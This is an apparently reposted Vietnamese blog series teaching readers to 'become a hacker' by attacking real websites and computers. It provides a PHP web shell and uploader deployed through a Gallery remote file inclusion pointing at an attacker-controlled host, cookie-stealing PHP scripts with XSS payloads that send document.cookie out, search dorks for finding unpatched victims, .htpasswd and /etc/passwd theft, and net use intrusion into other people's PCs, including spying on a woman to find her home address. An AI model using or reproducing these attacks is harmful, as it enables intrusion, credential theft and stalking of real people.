Thứ Hai, 30 tháng 5, 2016

Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 4

26 . ) Tìm hiểu về RPC (Remote Procedure Call) : 

_ Windows NT cung cấp khả năng sử dụng RPC để thực thi các ứng dụng phân tán . Microsoft RPC bao gồm các thư viện và các dịch vụ cho phép các ứng dụng phân tán hoạt động được trong môi trường Windows NT. Các ứng dụng phân tán chính bao gồm nhiều tiến trình thực thi với nhiệm vụ xác định nào đó. Các tiến trình này có thể chạy trên một hay nhiều máy tính. 

_Microsoft RPC sử dụng name service provider để định vị Servers trên mạng. Microsoft RPC name service provider phải đi liền với Microsoft RPC name service interface (NIS). NIS bao bao gồm các hàm API cho phép truy cập nhiều thực thể trong cùng một name service database (name service database chứa các thực thể, nhóm các thực thể, lịch sử các thực thể trên Server). 
Khi cài đặt Windows NT, Microsoft Locator tự động được chọn như là name service provider. Nó là name service provider tối ưu nhất trên môi trường mạng Windows NT. 

27 . ) Kỹ thuật đơn giản để chống lại sự xâm nhập trái phép khi đang online thông qua RPC (Remote Procedure Call) : 

_ Nếu bạn nghi ngờ máy của mình đang có người xâm nhập hoặc bị admin remote desktop theo dõi , bạn chỉ cần tắt chức năng remote procedure call thì hiện tại không có chương trình nào có thể remote desktop để theo dõi bạn được . Nó còn chống được hầu hết tools xâm nhập vào máy ( vì đa số các tools viết connect dựa trên remote procedure call ( over tcp/ip )).Các trojan đa số cũng dựa vào giao thức này. 

Cách tắt: Bạn vào service /remote procedure call( click chuột phải ) chọn starup typt/disable hoặc manual/ apply. 

Đây là cách chống rất hữu hiệu với máy PC , nếu thêm với cách tắt file sharing thì rất khó bị hack ) ,nhưng trong mạng LAN bạn cũng phiền phức với nó không ít vì bạn sẽ không chạy được các chương trình có liên quan đến thiết bị này . Tùy theo cách thức bạn làm việc mà bạn có cách chọn lựa cho hợp lý . Theo tôi thì nếu dùng trong mạng LAN bạn hãy cài một firewall là chắc chắn tương đối an toàn rồi đó . 

( Dựa theo bài viết của huynh “Đời như củ khoai ” khoaimi – admin của HVA ) 

28 . ) Những bước để hack một trang web hiện nay : 

_ Theo liệt kê của sách Hacking Exposed 3 thì để hack một trang Web thông thường ta thực hiện những bước sau : 
+ FootPrinting : ( In dấu chân ) 
Đây là cách mà hacker làm khi muốn lấy một lượng thông tin tối đa về máy chủ/doanh nghiệp/người dùng. Nó bao gồm chi tiết về địa chỉ IP, Whois, DNS ..v.v đại khái là những thong tin chính thức có lien quan đến mục tiêu. Nhiều khi đơn giản hacker chỉ cần sử dụng các công cụ tìm kiếm trên mạng để tìm những thong tin đó. 
+ Scanning : ( Quét thăm dò ) 
Khi đã có những thông tin đó rồi, thì tiếp đến là đánh giá và định danh những những dịch vụ mà mục tiêu có. Việc này bao gồm quét cổng, xác định hệ điều hành, .v.v.. Các công cụ được sử dụng ở đây như nmap, WS pingPro, siphon, fscam và còn nhiều công cụ khác nữa. 
+ Enumeration : ( liệt kê tìm lỗ hổng ) 
Bước thứ ba là tìm kiếm những tài nguyên được bảo vệ kém, hoạch tài khoản người dùng mà có thể sử dụng để xâm nhập. Nó bao gồm các mật khẩu mặc định, các script và dịch vụ mặc định. Rât nhiều người quản trị mạng không biết đến hoặc không sửa đổi lại các giá trị này. 
+ Gaining Access: ( Tìm cách xâm nhập ) 
Bây giờ kẻ xâm nhập sẽ tìm cách truy cập vào mạng bằng những thông tin có được ở ba bước trên. Phương pháp được sử dụng ở đây có thể là tấn công vào lỗi tràn bộ đệm, lấy và giải mã file password, hay thô thiển nhất là brute force (kiểm tra tất cả các trường hợp) password. Các công cụ thường được sử dụng ở bước này là NAT, podium, hoặc L0pht. 
+ Escalating Privileges : ( Leo thang đặc quyền ) 
Ví dụ trong trường hợp hacker xâm nhập đựợc vào mạng với tài khoản guest, thì họ sẽ tìm cách kiểm soát toàn bộ hệ thống. Hacker sẽ tìm cách crack password của admin, hoặc sử dụng lỗ hổng để leo thang đặc quyền. John và Riper là hai chương trình crack password rất hay được sử dụng. 
+ Pilfering : ( Dùng khi các file chứa pass bị sơ hở ) 
Thêm một lần nữa các máy tìm kiếm lại đựơc sử dụng để tìm các phương pháp truy cập vào mạng. Những file text chứa password hay các cơ chế không an toàn khác có thể là mồi ngon cho hacker. 
+ Covering Tracks : ( Xoá dấu vết ) 
Sau khi đã có những thông tin cần thiết, hacker tìm cách xoá dấu vết, xoá các file log của hệ điều hành làm cho người quản lý không nhận ra hệ thống đã bị xâm nhập hoặc có biêt cũng không tìm ra kẻ xâm nhập là ai. 
+ Creating ``Back Doors`` : ( Tạo cửa sau chuẩn bị cho lần xâm nhập tiếp theo được dễ dàng hơn ) 
Hacker để lại ``Back Doors``, tức là một cơ chế cho phép hacker truy nhập trở lại bằng con đường bí mật không phải tốn nhiều công sức, bằng việc cài đặt Trojan hay tạo user mới (đối với tổ chức có nhiều user). Công cụ ở đây là các loại Trojan, keylog… 
+ Denial of Service (DoS) : ( Tấn công kiểu từ chối dịch vụ ) 
Nêu không thành công trong việc xâm nhập, thì DoS là phương tiện cuối cùng để tấn công hệ thống. Nếu hệ thống không được cấu hình đúng cách, nó sẽ bị phá vỡ và cho phép hacker truy cập. Hoặc trong trường hợp khác thì DoS sẽ làm cho hệ thống không hoạt động được nữa. Các công cụ hay được sử dụng để tấn công DoS là trin00, Pong Of Death, teardrop, các loại nuker, flooder . Cách này rất lợi hại , và vẫn còn sử dụng phổ biến hiện nay . 
_ Tuỳ theo hiểu biết và trình độ của mình mà một hacker bỏ qua bước nào . Không nhất thiết phảI làm theo tuần tự . Các bạn hãy nhớ đến câu “ biết người biết ta trăm trận trăm thắng ” . 

( Tài liệu của HVA và hackervn.net ) 

29 . ) Cách tìm các Website bị lỗi : 

_ Chắc các bạn biết đến các trang Web chuyên dùng để tìm kiếm thông tin trên mạng chứ ? Nhưng các bạn chắc cũng không ngờ là ta có thể dùng những trang đó để tìm những trang Web bị lỗi ( Tôi vẫn thường dùng trang google.com và khuyên các bạn cũng nên dùng trang này vì nó rất mạnh và hiệu quả ) . 
_ Các bạn quan tâm đến lỗi trang Web và muốn tìm chúng bạn chỉ cần vào google.com và đánh đoạn lỗi đó vào sau “allinurl : ” . VD ta có đoạn mã lỗi trang Web sau : 

cgi-bin/php.cgi?/etc/passwd 

các bạn sẽ đánh : 

“allinurl:cgi-bin/php.cgi?/etc/passwd” 

Nó sẽ liệt kê ra những trang Web đang bị lỗi này cho các bạn , các bạn hãy nhìn xuống dưới cùng của mỗi mẫu liệt kê ( dòng địa chỉ màu xanh lá cây ) nếu dòng nào viết y chang từ khoá mình nhập vào thì trang đó đã hoặc đang bị lỗi .Các bạn có xâm nhập vào được hay không thì cũng còn tuỳ vào trang Web đó đã fix lỗi này hay chưa nữa . 
_ Các bạn quan tâm đến lỗi forum , các bạn muốn tìm forum dạng này để thực tập , chỉ cần nhập từ khoá 

powered by 

VD sau là để tìm forum dùng Snitz 2000 : 

powered by Snitz 2000 

_ Tuy nhiên , việc tìm ra đúng forum hoặc trang Web bị lỗi theo cách đó có xác suất không cao , bạn hãy quan tâm đến đoạn string đặc biệt trong URL đặc trưng cho từng kiểu trang Web hoặc forum đó ( cái này rất quan trọng , các bạn hãy tự mình tìm hiểu thêm nhé ) . VD tìm với lỗi Hosting Controller thì ta sẽ có đoạn đặc trưng sau 

``/admin hay /advadmin hay /hosting`` 

ta hãy đánh từ khoá : 

allinurl:/advadmin 
hoặc allinurl:/admin 
hoặc allinurl:/hosting 

Nó sẽ liệt kê ra các trang Web có URL dạng : 

http://tentrangweb.com/advadmin 
hoặc http://tentrangweb.com/admin 
hoặc http://tentrangweb.com/hosting 

VD với forum UBB có đoạn đặc trưng 

``cgi-bin/ultimatebb.cgi?`` 

Ta cũng tìm tương tự như trên . 
Chỉ cần bạn biết cách tìm như vậy rồi thì sau này chỉ cần theo dõi thông tin cập nhật bên trang “Lỗi bảo mật” của HVA do bạn LeonHart post hằng ngày các bạn sẽ hiểu được ý nghĩa của chúng và tự mình kiểm tra . 

30 . ) Kỹ thuật hack Web thông qua lỗi Gallery ( một dạng của lỗi php code inject ): 

_ Gallery là một công cụ cho phép tạo một gallery ảnh trên web được viết bằng PHP , lợi dụng sơ hở này ta có thể lợi dụng để viết thêm vào đó một mã PHP cho phép ta upload , đó chính là mục đích chính của ta . 
_ Trước hết bạn hãy đăng ký một host miễn phí , tốt nhất là bạn đăng ký ở brinkster.com cho dễ . Sau đó bạn mở notepad và tạo file PHP với đoạn mã sau : 

CODE 
<?php 
global $PHP_SELF; 
echo `` 
<form method=post action=$PHP_SELF?$QUERY_STRING > 
<input type=text name=shell size=40 > 
<input type=hidden name=act value=shell > 
<input type=submit value=Go name=sm > 
``; 
set_magic_quotes_runtime(1); 
if ($act == ``shell``) { 
echo ``\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n< xmp > ``; 
system($shell); 
echo ``

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n``; } 
echo `` ``; 
? > 


Đoạn mã này bạn hãy tạo làm 2 file có tên khác nhau ( nhưng cùng chung một mã ) và đặt tên là : 
+ shellphp.php : file này dùng để chạy shell trên victim host . 
+ init.php : file này dùng để upload lên trang có host bạn vừa tạo . ( Bạn hãy upload file init.php này lên sớm vì ta sẽ còn sử dụng nó nhưng với đoạn mã khác , bạn quên upload file này lên là tiêu ) 

Bạn hãy tạo thêm một file PHP với mã sau : 

CODE 
<?php 
function handleupload() { 
if (is_uploaded_file($_FILES[`userfile`][`tmp_name`])) { 
$filename = $_FILES[`userfile`][`tmp_name`]; 
print ``$filename was uploaded successfuly``; 
$realname = $_FILES[`userfile`][`name`]; 
print ``realname is $realname\n``; 
print ``copying file to uploads dir ``.$realname; 
copy($_FILES[`userfile`][`tmp_name`],*PATH*.$realna me); // lưu ý *PATH* chúng ta sẽ thay đổi sau 
} else { 
echo ``Possible file upload attack: filename``.$_FILES[`userfile`][`name`].``.``; 


if ($act == ``upload``) { 
handleupload(); 

echo `` 
<form ENCTYPE=multipart/form-data method=post action=$PHP_SELF?$QUERY_STRING > 
File:<INPUT TYPE=FILE NAME=userfile SIZE=35 > 
<input type=hidden name=MAX_FILE_SIZE value=1000000 > 
<input type=hidden name=act value=upload > 
<input type=submit value=Upload name=sm > 

``; 
? > 


Bạn hãy đặt tên là upload.php , nó sẽ dùng để upload lên trang Web của nạn nhân . 
_ Tiếp theo Bạn vào Google, gõ ``Powered by gallery`` rồi enter, Google sẽ liệt kê một đống những site sử dụng Gallery , bạn hãy chọn lấy một trang bất kỳ rồI dùng link sau để thử xem nó còn mắc lỗI Gallery hay không : 

http:// trang Web của nạn nhân > /gallery./captionator.php?GALLERY_BASEDIR=http://ww wxx.brinkster.com/ / 

Nếu bạn thấy hiện lên một ô hình chữ nhật ở phía trên cùng , bên phải của nó là ô lệnh chuyển tiếp có chữ “Go” là coi như bạn đã tìm thấy được đốI tượng rồi đó . Bây giờ bạn đã có thể gõ lệnh thông qua ô chữ nhật đó để hack Web của nạn nhân . 
Trước hết bạn hãy gõ lệnh “pwd” để xác định đường dẫn tuyệt đối đến thư mục hiện thời rồi nhấn nút “Go” , khi nó cho kết quả bạn hãy nhanh chóng ghi lại đường dẫn ở phía dướI ( Tôi sẽ sử dụng VD đường dẫn tôi tìm thấy là “/home/abc/xyz/gallery” ). 
Sau đó bạn đánh tiếp lệnh “|s –a|” để liệt kê các thư mục con của nó . Bây giờ bạn hãy nhìn kết quả , bạn sẽ thấy một đống các thư mục con mà ta đã liệt kê . Bạn hãy luôn nhớ là mục đích của chúng ta là tìm một thư mục có thể dùng để upload file upload.php mà ta đã chuẩn bị từ trước do đó bạn hãy xác định cùng tôi bằng cách nhìn vào những chữ cuốI cùng của mỗi hàng kết quả : 
+ Bạn hãy loại bỏ trường hợp các thư mục mà có dấu “.” hoặc “..” vì đây là thư mục gốc hoặc là thư mục ảo ( Nó thường được xếp trên cùng của các hàng kết quả ) . 
+ Bạn cũng loạI bỏ những hàng có chữ cuối cùng có gắn đuôi ( VD như config.php , check.inc .v.v… ) vì đây là những file chứ không phải là thư mục . 
+ Còn lại là những thư mục có thể upload nhưng tôi khuyên bạn nên chọn những hàng chứa tên thư mục mà có chứa số lớn hơn 1 ( Bạn có thể xác định được chúng bằng cách nhìn cột thứ 2 từ trái sang ) , vì như vậy vừa chắc chắn đây là thư mục không phải thư mục ảo , vừa làm cho admin của trang Web đó khó phát hiện khi ta cài file của ta vào . Tôi VD tôi phát hiện ra thư mục “loveyou” có chứa 12 file có thể cho ta upload , như vậy đường dẫn chính thức mà ta upload lên sẽ là : 

/home/abc/xyz/Gallery/loveyou 

Bây giờ bạn hãy vào account host của bạn, sửa nội dung file init.php giống như mã của file upload.php, nhưng sửa lại *PATH* thành “/home/abc/xyz/gallery/loveyou/ ”. Đồng thời cũng chuẩn bị một file upload.php trên máy của bạn với *PATH* là “” ( 2 dấu ngoặc kép ). 
Bây giờ là ta đã có thể upload file upload.php lên trang Web của nạn nhân được rồi , bạn hãy nhập địa chỉ sau trên trình duyệt Web của bạn : 

http:// trang Web của nạn nhân > /gallery./captionator.php?GALLERY_BASEDIR=http://ww wxx.brinkster.com/ / 

Bạn sẽ thấy xuất hiện tiếp một khung hình chữ nhật và bên cạnh là có 2 nút lệnh , một là nút “brown” , một là nút “upload” . Nút “brown” bạn dùng để dẫn đến địa chỉ file upload.php bạn đã chuẩn bị trên máy của bạn , nút “upload” khi bạn nhấn vào đó thì nó sẽ upload file upload.php lên trang Web của nạn nhân . Ok , bây giờ coi như bạn đã hoàn thành chặng đường hack Web rồi đó . Từ bây giờ bạn hãy vận dụng để tấn công đối thủ như lấy database , password ( làm tương tự như các bài hướng dẫn hack trước ) , nhưng các bạn chỉ nên thực tập chứ đừng xoá database hay phá Web của họ. Nếu là một hacker chân chính các bạn chỉ cần upload lên trang Web dòng chữ : “Hack by ……..” là đủ rồi . 
Cũng như những lần trước , các bạn có thành công hay không cũng tuỳ thuộc vào sự may mắn và kiên trì nghiên cứu vận dụng kiến thức của các bạn . 

( Dựa theo hướng dẫn hack của huynh vnofear – viethacker.net ) 


GOODLUCK!!!!!!!!!!!! 
Theo quantrimang.com

Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 3

Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa web site và browser của người dùng. cookies được lưu trữ dưới những file dữ liệu nhỏ dạng text (size dưới 4k). Chúng được các site tạo ra để lưu trữ/truy tìm/nhận biết các thông tin về người dùng đã ghé thăm site và những vùng mà họ đi qua trong site. 
Những thông tin này có thể bao gồm tên/định danh người dùng, mật khẩu, sở thích, thói quen...Cookie được browser của người dùng chấp nhận lưu trên đĩa cứng của máy mình, ko phải browser nào cũng hỗ trợ cookie. Sau một lần truy cập vào site, những thông tin về người dùng được lưu trữ trong cookie. Ở những lần truy cập sau đến site đó, web site có thể dùng lại những thông tin trong cookie (như thông tin liên quan đến việc đăng nhập vào 1 forum...) mà người ko phải làm lại thao tác đăng nhập hay phải nhập lại các thông tin khác. Vấn đề đặt ra là có nhiều site quản lý việc dùng lại các thông tin lưu trong cookie ko chính xác, kiểm tra ko đầy đủ hoặc mã hoá các thông tin trong cookie còn sơ hở giúp cho hacker khai thác để vượt qua cánh cửa đăng nhập, đoạt quyền điêu khiển site .

_ Cookies thường có các thành phần sau : 

+ Tên: do người lập trình web site chọn
+ Domain: là tên miền từ server mà cookie được tạo và gửi đi
+ Đường dẫn: thông tin về đường dẫn ở web site mà bạn đang xem
+ Ngày hết hạn: là thời điểm mà cookie hết hiệu lực .
+ Bảo mật: Nếu giá trị này đựơc thiết lập bên trong cookie, thông tin sẽ đựơc mã hoá trong quá trình truyền giữa server và browser.
+ Các giá trị khác: là những dữ liệu đặc trưng được web server lưu trữ để nhận dạng về sau các giá trị này ko chứa các khoảng trắng, dấu chấm, phẩy và bị giới hạn trong khoảng 4k.

( Tài liệu của Viethacker.net )

21 . ) Kỹ thuật lấy cắp cookie của nạn nhân : 

_ Trước hết , các bạn hãy mở notepad rồi chép đoạn mã sau vào notepad đó :

CODE
<?php
define (``LINE``, ``\r\n``);
define (``HTML_LINE``, ``
``);
function getvars($arr, $title)
{
$res = ````;
$len = count($arr);
if ($len > 0)
{
if (strlen($title) > 0)
{
print(``[--------$title--------]`` . HTML_LINE);
$res .= ``[--------$title--------]`` . LINE;
}
foreach ($arr as $key = > $value)
{
print(``[$key]`` . HTML_LINE);
print($arr[$key] . HTML_LINE);
$res .= ``[$key]`` . LINE . $arr[$key] . LINE;
}
}
return $res;
}
// get current date
$now = date(``Y-m-d H:i:s``);
// init
$myData = ``[-----$now-----]`` . LINE;
// get
$myData .= getvars($HTTP_GET_VARS, ````);
// file
$file = $REMOTE_ADDR . ``.txt``;
$mode = ``r+``;
if (!file_exists($file))
$mode = ``w+``;
$fp = fopen ($file, $mode);
fseek($fp, 0, SEEK_END);
fwrite($fp, $myData);
fclose($fp);
? >


hoặc

CODE
<?php
if ($contents && $header){
mail(``victim@yahoo.com`` , ``from mail script``,$contents,$header) or
die(`couldnt email it`);
sleep(2);
? >
<script language=javascript >


<?php
} else {
echo ``nope``;
}


(Bạn hãy sửa cái victim@yahoo.com thành địa chỉ Mail của bạn ) .

Bạn hãy save cái notepad này với tên “< tên tuỳ các bạn > .php ” ( Nhớ là phải có .php ) rồi upload lên một host nào đó có hỗ trợ PHP , trong VD của tôi là abc.php .( Đối với các bạn đã từng làm Web chắc sẽ rất dễ phảI không ? ) . Đoạn mã này sẽ có nhiệm vụ ăn cắp thông tin (và có khi có cả cookie ) của nạn nhân khi họ mở dữ liệu có chứa đoạn mã này rồI tự động save thông tin đó thành file < ip của nạn nhân > .txt .
_ Còn một cách nữa để lấy cookie đựơc sử dụng trên các forum bị lỗi nhưng chưa fix , khi post bài bạn chi cần thêm đoạn mã sau vào bài của mình :

CODE
document.write(` `)


với host_php : là địa chỉ bạn đã upload file ăn cắp cookie đó lên .
và abc.php là file VD của tôi .
_ Ví dụ : khi áp dụng trong tag img, ta dùng như sau:

CODE
 `)\">


hoặc:

[CODE
img]javascript: Document.write(`&#x3cimg src=http://host_php/docs.php?docs=`+escape(document .cookie)+`&#x3e`)\">


_ Bạn có thể tìm những trang web để thực hành thử cách trong VD này bằng cách vào google.com tìm những forum bị lỗi này bằng từ khoá ``Powered by …….. forum” với những forum sau : ikonboard, Ultimate Bulletin Board , vBulletin Board, Snitz . Nếu các bạn may mắn các bạn có thể tìm thấy những forum chưa fix lỗi này mà thực hành , ai tìm được thì chia sẽ với mọi người nhé .
_ Còn nhiều đoạn mã ăn cắp cookie cũng hay lắm , các bạn hãy tự mình tìm thêm .

22 . ) Cách ngắt mật khẩu bảo vệ Website : 


_ Khi các bạn tới tìm kiếm thông tin trên một trang Web nào đó , có một số chỗ trên trang Web đó khi bạn vào sẽ bị chặn lại và sẽ xuất hiện một box yêu cầu nhập mật khẩu , đây chính là khu vực riêng tư cất dấu những thông tin mật chỉ dành cho số người hoặc một nhóm người nào đó ( Nơi cất đồ nghề hack của viethacker.net mà báo e-chip đã nói tới chẳng hạn ) . Khi ta click vào cái link đó thì ( thông thường ) nó sẽ gọi tới .htpasswd và .htaccess nằm ở cùng trong thư mục bảo vệ trang Web . Tại sao phải dùng dấu chấm ở trước trong tên file `.htaccess`? Các file có tên bắt đầu là một dấu chấm `.` sẽ được các web servers xem như là các file cấu hình. Các file này sẽ bị ẩn đi (hidden) khi bạn xem qua thư mục đã được bảo vệ bằng file .htaccess .Hai hồ sơ này có nhiệm vụ điều khiển sự truy nhập tới cái link an toàn mà bạn muốn xâm nhập đó . Một cái quản lý mật khẩu và user name , một cái quản lý công việc mã hoá những thông tin cho file kia . Khi bạn nhập đúng cả 2 thì cái link đó mới mở ra . Bạn hãy nhìn VD sau :

CODE
Graham:F#.DG*m38d%RF
Webmaster:GJA54j.3g9#$@f


Username bạn có thể đọc được rùi , còn cái pass bạn nhìn có hiểu mô tê gì không ? Dĩ nhiên là không rồi . bạn có hiểu vì sao không mà bạn không thể đọc được chúng không ? cái này nó có sự can thiệp của thằng file .htaccess . Do khi cùng ở trong cùng thư mục chúng có tác động qua lại để bảo vệ lẫn nhau nên chúng ta cũng không dại gì mà cố gắng đột nhập rồi crack mớ mật khẩu chết tiệt đó ( khi chưa có đồ nghề crack mật khẩu trong tay . Tôi cũng đang nghiên cứu để có thể xâm nhập trực tiếp , nếu thành công tôi sẽ post lên cho các bạn ) . Lỗi là ở đây , chuyện gì sẽ xảy ra nếu cái .htpasswd nằm ngoài thư mục bảo vệ có file .htaccess ? Ta sẽ chôm được nó dễ dàng , bạn hãy xem link VD sau :

http://www.company.com/cgi-bin/pro tected/


hãy kiểm tra xem file .htpasswd có được bảo vệ bởI .htaccess hay không , ta nhập URL sau :

http://www.company.com/cgi-bin/pro tected/.htpasswd

Nếu bạn thấy có câu trả lờI `File not found` hoặc tương tự thì chắc chắn file này đã không được bảo vệ , bạn hãy tìm ra nó bằng một trong các URL sau :

http://www.company.com/.htpasswd</ a> http://www.company.com/cgi-bin/.ht passwd
http://www.company.com/cgi-bin/pas swords/.htpasswd
http://www.company.com/cgi-bin/pas swd/.htpasswd

nếu vẫn không thấy thì các bạn hãy cố tìm bằng các URL khác tương tự ( có thể nó nằm ngay ở thư mục gốc đấy ) , cho đến khi nào các bạn tìm thấy thì thôi nhé .
Khi tìm thấy file này rồi , bạn hãy dùng chương trình ``John the ripper`` hoặc ``Crackerjack``, để crack passwd cất trong đó . Công việc tiếp theo hẳn các bạn đã biết là mình phải làm gì rồI , lấy user name và passwd hợp lệ đột nhập vào rùi xem thử mấy cô cậu “tâm sự” những gì trong đó , nhưng các bạn cũng đừng có đổi pass của họ hay quậy họ nhé .
Cách này các bạn cũng có thể áp dụng để lấy pass của admin vì hầu hết những thành viên trong nhóm kín đều là “có chức có quyền” cả .

23 . ) Tìm hiểu về CGI ? 

_ CGI là từ viết tắt của Common Gateway Interface , đa số các Website đều đang sử dụng chương trình CGI ( được gọI là CGI script ) để thực hiện những công việc cần thiết 24 giờ hằng ngày . Những nguyên bản CGI script thực chất là những chương trình được viết và được upload lên trang Web vớI những ngôn ngữ chủ yếu là Perl , C , C++ , Vbscript trong đó Perl được ưa chuộng nhất vì sự dễ dàng trong việc viết chương trình ,chiếm một dung lượng ít và nhất là nó có thể chạy liên tục trong 24 giờ trong ngày .
_ Thông thường , CGI script được cất trong thư mục /cgi-bin/ trên trang Web như VD sau :

http://www.company.com/cgi-bin/log in.cgi


với những công việc cụ thể như :
+ Tạo ra chương trình đếm số người đã ghé thăm .
+ Cho phép những ngườI khách làm những gì và không thể làm những gì trên Website của bạn .
+ Quản lý user name và passwd của thành viên .
+ Cung cấp dịch vụ Mail .
+ Cung cấp những trang liên kết và thực hiện tin nhắn qua lại giữa các thành viên .
+ Cung cấp những thông báo lỗi chi tiết .v.v…..

24 . ) Cách hack Web cơ bản nhất thông qua CGI script : 

_ Lỗi thứ 1 : lỗi nph-test-cgi

+ Đánh tên trang Web bị lỗi vào trong trình duyệt của bạn .
+ Đánh dòng sau vào cuốI cùng : /cgi-bin/nph-test-cgi
+ Lúc đó trên URL bạn sẽ nhìn giống như thế này :

http://www.servername.com/cgi-bin/ nph-test-cgi

+ Nếu thành công bạn sẽ thấy các thư mục được cất bên trong . Để xem thư mục nào bạn đánh tiếp :

CODE
? /*


+ file chứa passwd thường được cất trong thư mục /etc , bạn hãy đánh trên URL dòng sau :

http://www.servername.com/cgi-bin/ nph-test-cgi?/etc/*

_ Lỗi thứ 2 : lỗi php.cgi

+ Tương tự trên bạn chỉ cần đánh trên URL dòng sau để lấy pass :

http://www.servername.com/cgi-bin/ php.cgi?/etc/passwd

Quan trọng là đây là những lỗi đã cũ nên việc tìm các trang Web để các bạn thực hành rất khó , các bạn hãy vào trang google.com rồi đánh từ khoá :

/cgi-bin/php.cgi?/etc/passwd]
hoặc cgi-bin/nph-test-cgi?/etc

sau đó các bạn hãy tìm trên đó xem thử trang nào chưa fix lỗi để thực hành nhé .

25 . ) Kỹ thuật xâm nhập máy tính đang online : 

_ Xâm nhập máy tính đang online là một kỹ thuật vừa dễ lạI vừa khó . Bạn có thể nói dễ khi bạn sử dụng công cụ ENT 3 nhưng bạn sẽ gặp vấn đề khi dùng nó là tốc độ sử dụng trên máy của nạn nhân sẽ bị chậm đi một cách đáng kể và những máy họ không share thì không thể xâm nhập được, do đó nếu họ tắt máy là mình sẽ bị công cốc khi chưa kịp chôm account , có một cách êm thấm hơn , ít làm giảm tốc độ hơn và có thể xâm nhập khi nạn nhân không share là dùng chương trình DOS để tấn công . Ok , ta sẽ bắt đầu :
_ Dùng chương trình scan IP như ENT 3 để scan IP mục tiêu .
_ Vào Start == > Run gõ lệnh cmd .
_ Trong cửa sổ DOS hãy đánh lệnh “net view 

CODE
+ VD : c:\net view 203.162.30.xx


_ Bạn hãy nhìn kết quả , nếu nó có share thì dễ quá , bạn chỉ cần đánh tiếp lệnh

net use <ổ đĩa bất kỳ trên máy của bạn > : <ổ share của nạn nhân >

+ VD : c:\net use E : 203.162.30.xxC

_ Nếu khi kết nối máy nạn nhân mà có yêu cầu sử dụng Passwd thì bạn hãy download chương trình dò passwd về sử dụng ( theo tôi bạn hãy load chương trình “pqwak2” áp dụng cho việc dò passwd trên máy sử dụng HĐH Win98 hoặc Winme và chương trình “xIntruder” dùng cho Win NT ) . Chú ý là về cách sử dụng thì hai chương trình tương tự nhau , dòng đầu ta đánh IP của nạn nhân , dòng thứ hai ta đánh tên ổ đĩa share của nạn nhân nhưng đối với “xIntruder” ta chú ý chỉnh Delay của nó cho hợp lý , trong mạng LAN thì Delay của nó là 100 còn trong mạng Internet là trên dướI 5000 .
_ Nếu máy của nạn nhân không có share thì ta đánh lệnh :

net use <ổ đĩa bất kỳ trên máy của bạn > : c$ (hoặc d$)``administrator``

+ VD : net use E : 203.162.30.xxC$``administrator``

Kiểu chia sẽ bằng c$ là mặc định đối với tất cả các máy USER là ``administrator`` .
_ Chúng ta có thể áp dụng cách này để đột nhập vào máy của cô bạn mà mình “thầm thương trộm nhớ” để tìm những dữ liệu liên quan đến địa chỉ của cô nàng ( với điều kiện là cô ta đang dùng máy ở nhà và bạn may mắn khi tìm được địa chỉ đó ) . Bạn chỉ cần chat Y!Mass rồi vào DOS đánh lệnh :

c:\netstat –n

Khi dùng cách này bạn hãy tắt hết các cửa sổ khác chỉ để khung chat Y!Mass với cô ta thôi , nó sẽ giúp bạn dễ dàng hơn trong việc xác định địa chỉ IP của cô ta . Sau đó bạn dùng cách xâm nhập mà tôi đã nói ở trên .( Có lẽ anh chàng tykhung của chúng ta hồi xưa khi tán tỉnh cô bạn ở xa qua mạng cũng dùng cách này để đột nhập và tìm hiểu địa chỉ của cô ta đây mà , hi`hi` . )
Bạn sẽ thành công nếu máy của nạn nhân không cài firewall hay proxy .

=================================================== =

Nhiều bạn có yêu cầu tôi đưa ra địa chỉ chính xác cho các bạn thực tập , nhưng tôi không thể đưa ra được vì rút kinh nghiệm những bài hướng dẫn có địa chỉ chính xác , khi các bạn thực hành xong đoạt được quyền admin có bạn đã xoá cái database của họ . Như vậy HVA sẽ mang tiếng là nơi bắt nguồn cho sự phá hoại trên mạng . mong các bạn thông cảm , nếu có thể thì tôi chỉ nêu những cách thức để các bạn tìm những dịa chỉ bị lỗi đó chứ không đưa ra địa chỉ cụ thể nào .

=================================================== =

Ở phần 4 tôi sẽ đề cập đến kỹ thuật chống xâm nhập vào máy tính của mình khi bạn online , tìm hiểu sơ các bước khi ta quyết định hack một trang Web , kỹ thuật tìm ra lỗi trang Web để thực hành , kỹ thuật hack Web thông qua lỗi Gallery.v.v…….

GOOKLUCK!!!!!!!!! 
Theo quantrimang.com

Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 2

Bản tóm tắt này không có sẵn. Vui lòng nhấp vào đây để xem bài đăng.

Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 1

Nhiều bạn Newbie có hỏi tôi “Hack là như thế nào? Làm sao để hack?” Nhưng các bạn đã quên mất một điều là các bạn cần phảI có kiến thức một cách tổng quát, hiểu các thuật ngữ mà những người rành về mạng hay sử dụng. Riêng tôi thì chưa thật giỏi bao nhiêu nhưng qua nghiên cứu, tôi cũng đã tổng hợp được một số kiến thức cơ bản, muốn chia sẻ cho tất cả các bạn, nhằm cùng các bạn học hỏi .
Tôi sẽ không chịu trách nhiệm nếu các bạn dùng nó để quậy phá người khác. Các bạn có thể copy hoặc post trong các trang Web khác nhưng hãy điền tiên tác giả ở dưới bài, tôn trọng bài viết này cũng chính là tôn trọng tôi và công sức của tôi, đồng thời cũng tôn trọng chính bản thân các bạn. Trong này tôi cũng có chèn thêm một số cách hack, crack và ví dụ căn bản, các bạn có thể ứng dụng thử và nghiên cứu đọc nó để hiểu thêm, rồi khi bắt gặp một từ mà các bạn không hiểu thì hãy đọc bài này để biết , trong này tôi có sử dụng một số ý của bài viết mà tôi thấy rất hay từ trang Web của HVA và các trang Web khác mà tôi đã từng ghé thăm. Xin cảm ơn những tác giả đã viết những bài ấy. Bây giờ là vấn đề chính . 

1. Ta cần những gì để bắt đầu:

Có thể nhiều bạn không đồng ý với tôi nhưng cách tốt nhất để thực tập là các bạn hãy dùng hệ điều hành Window rồi đến các cái khác mạnh hơn đó là Linux hoặc Unix, dưới đây là những cái bạn cần có :
  • Một OS 
  • Một trang Web tốt 
  • Một bộ trình duyệt mạng tốt 
  • Một công cụ chat tốt 
  • Telnet
  • Cái quan trọng nhất mà bất cứ ai muốn trở thành một hacker là đều phảI có một chút kiến thức về lập trình (C , C++ , Visual Basic , Pert …..

2. Thế nào là một địa chỉ IP?

